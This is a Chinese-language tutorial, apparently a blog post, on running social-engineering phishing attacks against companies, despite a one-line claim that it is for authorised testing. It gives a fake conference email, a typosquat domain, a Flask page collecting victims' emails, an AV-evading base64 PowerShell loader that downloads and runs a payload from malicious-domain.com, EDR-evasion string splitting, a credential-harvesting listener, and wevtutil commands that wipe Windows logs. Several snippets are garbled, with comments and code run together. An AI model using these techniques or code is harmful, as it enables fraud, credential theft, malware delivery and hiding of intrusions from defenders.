一、某次社工铓鱼事件回顾
本文仅限授权安全测试,供安全研究人员学习。
有一天,我从同行的安全新闻中了解到一家大型企业因社工铓鱼攻击而遭受重大损失。攻击者通过精心伪装的电子邮件获取了企业内部敏感信息,随后进行了一系列横向移动和数据窃取。这让我想起了我在实战中,通过社工铓鱼轻松突破防线的经历。
社工铓鱼是攻击者常用的技艺之一,它以巧妙的欺骗手段引导目标进行错误操作或泄露信息,通常成为攻击链的第一步。在接下来几个部分,我将分享如何实施这种攻击,并深入探讨其中的技术细节。
二、铓鱼邮件的精心构建

在进行社工铓鱼攻击之前,信息收集是至关重要的一步。了解目标的组织结构、邮件格式、常用语言、文化背景等信息,可以帮助我们构建更加逼真的攻击场景。
构造逼真的邮件
有一次,我针对一个金融行业客户实施攻击。在信息收集阶段,我发现他们的员工经常参加行业大会。我决定构建一封看似来自大会主办方的邮件,邀请目标重新确认其注册信息。邮件内容如下:
<pre><code>尊敬的张经理,
感谢您参与2023年度金融科技大会。为了确保您的注册信息无误,请点击以下链接进行确认:
[会议确认链接]
谢谢您的支持。
大会组委会</code></pre>
这一邮件巧妙利用了目标的实际活动背景,增加了点击链接的可信度。
铓鱼链接的伪装
铓鱼链接需要伪装得足够真实,通常我们会使用域名相似的伪装技术。例如,目标公司使用域名example.com,我们可以注册一个相似的域名exarnple.com(注意字母替换)进行伪装,并在此域名下搭建钓鱼网站。
<pre><code class="language-python"># 铓鱼网站的简易实现代码 from flask import Flask, request
app = Flask(__name__)
@app.route('/confirm') def confirm(): email = request.args.get('email')
记录目标邮件信息,进行后续分析
with open('emails.txt', 'a') as f: f.write(f'{email}\n') return "您的信息已确认,感谢参与!"
if __name__ == '__main__': app.run(host='0.0.0.0', port=80)</code></pre>
通过上述代码,我们可以轻松记录目标的确认信息,用于后续社工攻击。
三、Payload构造的艺术
在邮件中嵌入恶意载荷是社工铓鱼的关键步骤。通常,我们会选择构造一个免杀载荷,以便绕过目标的安全检测。
载荷免杀技术
在实战中,我喜欢使用内存加载载荷,这种技术可以避免文件落地,从而绕过传统的杀毒软件。我会使用Python结合PowerShell来构造一个免杀载荷:
<pre><code class="language-python">import base64
payload = """ $code = {
PowerShell恶意代码
[System.Net.WebClient]::new().DownloadString('http://malicious-domain.com/payload.ps1') | IEX } Invoke-Expression -Command $code """

b64_payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
print(f"powershell -EncodedCommand {b64_payload}")</code></pre>
通过将恶意代码进行Base64编码,再在目标系统上进行解码和执行,这样的载荷通常能躲过绝大多数安全检测。
绕过EDR技术

为了进一步绕过高级EDR系统,我们可以在载荷中使用一些混淆技术。例如,将PowerShell命令分割成多个块,并通过动态字符串拼接进行执行:
<pre><code class="language-powershell">$code_part1 = "Get-Process" $code_part2 = " | Where" $code_part3 = " { $_.Name -like 'chrome' }" Invoke-Expression $code_part1 + $code_part2 + $code_part3</code></pre>
这种动态拼接技术能够有效降低EDR规则对载荷的检测概率。

四、流量捕获实战
铓鱼攻击的最终目的是获取目标的敏感信息。这通常需要我们进一步分析目标系统的网络流量,从中提取有价值的数据。
流量分析与提取
在一次实战中,我通过控制目标系统的浏览器代理,成功截获用户访问行为,并提取了其登录凭证。以下是简单的流量捕获代码:
<pre><code class="language-python">import socket
def intercept_traffic(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 8080)) s.listen(5)
while True: conn, addr = s.accept() data = conn.recv(1024)
对流量进行简单分析提取
if b"Login" in data: with open('credentials.txt', 'a') as f: f.write(data.decode('utf-8') + '\n') conn.close()
if __name__ == '__main__': intercept_traffic()</code></pre>
这段代码通过创建一个本地代理服务器,捕获并分析流经的网络流量,从中提取用户的登录信息。
五、攻击者的惬意时光
在所有攻击步骤完成后,作为攻击者,我们需要确保痕迹的清除,以避免被检测和追踪。
痕迹清除的技术
通常,我会使用系统的日志清理技术,删除或篡改目标系统的事件日志,降低攻击被识别的可能性。以下是一个简单的PowerShell日志清理命令:
<pre><code class="language-powershell"># 清除Windows事件日志 wevtutil cl Application wevtutil cl Security wevtutil cl System</code></pre>
通过清理常见的系统日志,能够有效隐藏攻击行为。此外,删除或修改临时文件、清除浏览器缓存也是常用的痕迹清除手段。
六、个人经验分享
社工铓鱼攻击的成功往往依赖于精细的信息收集和伪装技术。在实战中,我发现以下经验能够显著提高攻击成功率:
- 提高邮件可信度:利用社会工程学,在邮件内容中融入目标的实际背景信息。
- 免杀技术的选择:根据目标的安全软件和防御体系,选择合适的免杀技术。
- 流量分析的细致:不仅要捕获流量,更要能够从中快速提取有价值的数据。
在攻击者的世界里,细节决定成败。每一次实战都是一次思维的锻炼和技术的验证。希望我的分享能够为广大安全研究人员提供一些启发。安全攻防的魅力在于无止境的探索和挑战。